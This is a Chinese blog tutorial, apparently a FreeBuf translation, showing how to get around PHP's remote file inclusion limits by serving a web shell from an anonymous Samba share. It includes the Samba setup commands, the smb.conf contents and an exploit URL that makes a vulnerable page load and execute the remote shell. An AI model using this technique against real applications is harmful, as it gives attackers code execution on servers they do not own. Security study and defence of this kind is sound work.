在这篇博文中,我将为大家演示如何利用PHP应用中的远程文件包含漏洞的技术。我们将绕过php远程文件包含的限制,并执行RFI的利用,即使PHP环境被配置为不包含来自远程HTTP/FTP URL的文件。

PHP 和 SMB 共享文件访问

在PHP配置文件中,“allow_url_include”wrapper默认设置为“Off”,指示PHP不加载远程HTTP或FTP URL,从而防止远程文件包含攻击。但是,即使“allow_url_include”和“allow_url_fopen”都设置为“Off”,PHP也不会阻止加载SMB URL。而这就极有可能被滥用来从SMB共享加载远程托管的PHP Web shell。

攻击场景概述

当易受攻击的PHP应用程序代码尝试从受攻击者控制的SMB共享加载PHP Web shell时,SMB共享应允许访问该文件。攻击者需要在其上配置具有匿名浏览访问权限的SMB服务器。因此,一旦易受攻击的应用程序尝试从SMB共享访问PHP Web shell,SMB服务器将不会要求任何的凭据,易受攻击的应用程序将包含Web shell的PHP代码。

首先,我重新配置了PHP环境,并在php.in i文件中禁用了“allow-url-fopen”和“allow-url-include”。之后,配置了具有匿名浏览访问的SMB服务器。一旦SMB共享准备就绪,我们就可以利用易受攻击的应用程序了。

PHP 环境设置

将托管易受攻击代码的机器上的“allow_url_fopen”和“allow_url_include”设置为“Off”

以下是版本为“5.5.11”的PHP当前配置截图:

在继续下一步之前,让我们确保当我们尝试访问HTTP上托管的Web shell时,PHP代码不允许远程文件包含。

可以看到,当我试图从远程主机包含PHP Web shell时,应用程序抛出错误并且没有包含远程文件。

使用匿名浏览访问配置 Samba 服务器(Linux 机器)

使用以下命令安装Samba服务器:apt-get install samba

创建SMB共享目录:mkdir /var/www/html/pub/

配置新创建的SMB共享目录的权限:chmod 0555 /var/www/html/pub/

chown -R nobody:nogroup /var/www/html/pub/

运行以下命令,删除SAMBA服务器配置文件的默认内容。echo > /etc/samba/smb.conf

将以下内容添加到/etc/samba/smb.conf文件。[global]

workgroup = WORKGROUP

server string = Samba Server %v

netbios name = indishell-lab

security = user

map to guest = bad user

name resolve order = bcast host

dns proxy = no

bind interfaces only = yes

[ica]

path = /var/www/html/pub

writable = no

guest ok = yes

guest only = yes

read only = yes

directory mode = 0555

force user = nobody

现在,重启SAMBA服务器以使配置文件/etc/samba/smb.conf中的新配置生效。service smbd restart

成功重启SAMBA服务器后,尝试访问SMB共享并确保SAMBA服务器不要求提供凭据。

在本例中,SAMBA服务器IP为192.168.0.3,我需要访问Windows文件浏览器中的SMB共享,如下:\\192.168.0.3\

在 SMB 共享中托管 PHP Web shell

太棒了!可以访问smb共享,并显示目录“ica”存在。

现在,将PHP shell托管在目录“/var/www/html/pub”中,该目录为smb共享目录“ica”。

成功托管PHP shell后,我们使用Windows文件浏览器访问SMB共享目录“ica”。\\192.168.0.3\ica\

可以看到php shell存在于smb共享目录中,在本例中为box.php文件。

利用文件包含易受攻击的参数

让我们使用这个PHP shell SMB链接,以及易受攻击的php代码浏览它。http://vulnerable_application/page.php?page=\\192.168.0.3\ica\box.php

PHP易受攻击的代码从SMB共享中获取了web shell,并在应用程序服务器上执行了代码\m/。我们已经绕过了php远程文件包含的限制,并包含了托管在远程主机上的Web shell。

,FB小编secist编译,转载请注明来自FreeBuf.COM

php远程文件包含攻击,利用SMB共享来绕过php远程文件包含的限制相关推荐

  1. [译] APT分析报告:04.Kraken - 新型无文件APT攻击利用Windows错误报告服务逃避检测

    这是作者新开的一个专栏,主要翻译国外知名的安全厂商APT报告文章,了解它们的安全技术,学习它们溯源APT组织的方法,希望对您有所帮助.前文分享了APT组织Fin7 / Carbanak的Tirion恶 ...

  2. 利用SMB协议实现局域网内设备文件的共享

    文章目录 参考资料 说明 步骤1:[windows]开启SMB协议 步骤2:[windows]创建新的用户账号 步骤3:[windows]共享文件夹 属性-共享-共享 属性-共享-高级共享 步骤4:[ ...

  3. 远程计算机组策略,利用Windows XP组策略实现远程关机

    windows XP组策略的功能很强大,其应用技巧往往有我们意想不到的作用.下文就是利用Windows XP组策略来实现系统远程关机的方法. 在Windows XP默认的安全策略中,只有管理员组的用户 ...

  4. raw服务器镜像文件怎么打开,利用qemu-img工具将其它格式镜像文件转换成VHD或RAW格式的方法...

    利用qemu-img工具将其它格式镜像文件转换成VHD或RAW格式的方法 发布时间:2020-08-26 14:31:49 来源:亿速云 阅读:962 作者:小新 小编给大家分享一下利用qemu-im ...

  5. java smb下载文件代码_java利用SMB共享文件进行局域网文件的下载及apk升级

    最近在学习android,领导想做一个测试利用局域网进行电视apk的自动升级程序,最新代码是放在本地局域网电脑上面的,在此写下代码调试过程中遇到的问题及解决方法:一开始用想用FTPClient和Htt ...

  6. 用java实现一个简单远程监控软件_利用java实现一个简单的远程监控程序

    一般的远程监控软件都是用c或者c++等语言开发的,而使用java如何来实现相同的功能呢. 首先我们先介绍一下一个简单的远程监控程序的实现原理. 功能一,远程屏幕监视 (1) 必须要有监控端与被监控端, ...

  7. python合并csv文件、并利用结果进行计算_python合并csv文件

    学一点总结一点,积少成多^_^ 需求:有两个csv文件,需要按列合并.举例如下: a.csv: column1    column2    column3 a1               a21 a ...

  8. php 怎么远程包含,利用PHP应用程序中的远程文件包含(RFI)并绕过远程URL包含限制...

    前言 文章讲诉了如何绕过远程URL包含限制.在PHP开发环境php.ini配置文件里",allow_url_include"为"off"的情况下,不允许PHP加 ...

  9. 文件上传后端黑名单白名单绕过

    大家好! 我是小黄,很高兴又跟大家见面啦 ! 拒绝水文,从我做起 !!!! 未经允许,禁止转载 ,违者必究!!!! 本实验仅适用于学习和测试 ,严禁违法操作 ! ! ! 今天更新的是: 文件上传后端黑 ...

最新文章

  1. 2019年最新最全运维技能图谱
  2. 数据库镜像怎么还原数据库_如何创建数据库镜像
  3. linux赋高权命令有哪些,Linux命令中的Z原来是这个意思
  4. Linux下gcc/g++、make和cmake的区别
  5. Linux 基本命令(四)--时间 常用命令
  6. 分享10个超级实用的Python自动化脚本
  7. ffmpeg4.x支持的编解码器等相关信息一览表
  8. 系统安全 - windowns系统镜像下载
  9. pdf中添加声音 java_PDF怎么添加音频?你不能错过的PDF编辑器办公软件
  10. matlab设计高通系统,用matlab设计高通滤波器雪比切夫、fir两种方法 课程设计HPF.doc...
  11. 支付宝 实现 移动网页支付、PC网页支付、混合APP支付(支持微信支付)
  12. C++程序设计_图书管理系统的控制台实现
  13. 验证码破解:极验3.0滑动验证码破解最新俩种方法
  14. css实例——太极八卦图
  15. 【剑指Offter】从上往下打印二叉树
  16. In-memory Computing with SAP HANA读书笔记 - 第二章:SAP HANA overview
  17. 2021-07-14 串口 、并口、接口划分(UART、RS232、RS422、RS485、TTL、USB)
  18. 计算机硬件音频,浅析计算机硬件基础 第9章(音频和视频设备).ppt
  19. 20100304-001-美国总统The President of the United States of America
  20. 删除无限循环的文件夹。

热门文章

  1. 7-2 jmu-Java-01入门-取数字 (2 分)
  2. C语言程序练习-L1-015 跟奥巴马一起画方块 (15分)
  3. scss怎么引入到html,Sass 导入指令
  4. 小程序如何选择云服务器,小程序怎么选择云服务器配置
  5. matlab中打不开保存好的模糊控制器,【求助大神】模糊控制器仿真,在Simulink运行时出现问题...
  6. Java黑皮书课后题第3章:3.10(游戏:加法测试)程序清单3-3随机产生一个减法问题。修改这个程序,随机产生一个计算两个小于100的整数的加法问题
  7. webform 的路由
  8. 运行错误:Application Error - The connection to the server was unsuccessful
  9. python的rsa公钥解密方法
  10. 7月14号day6总结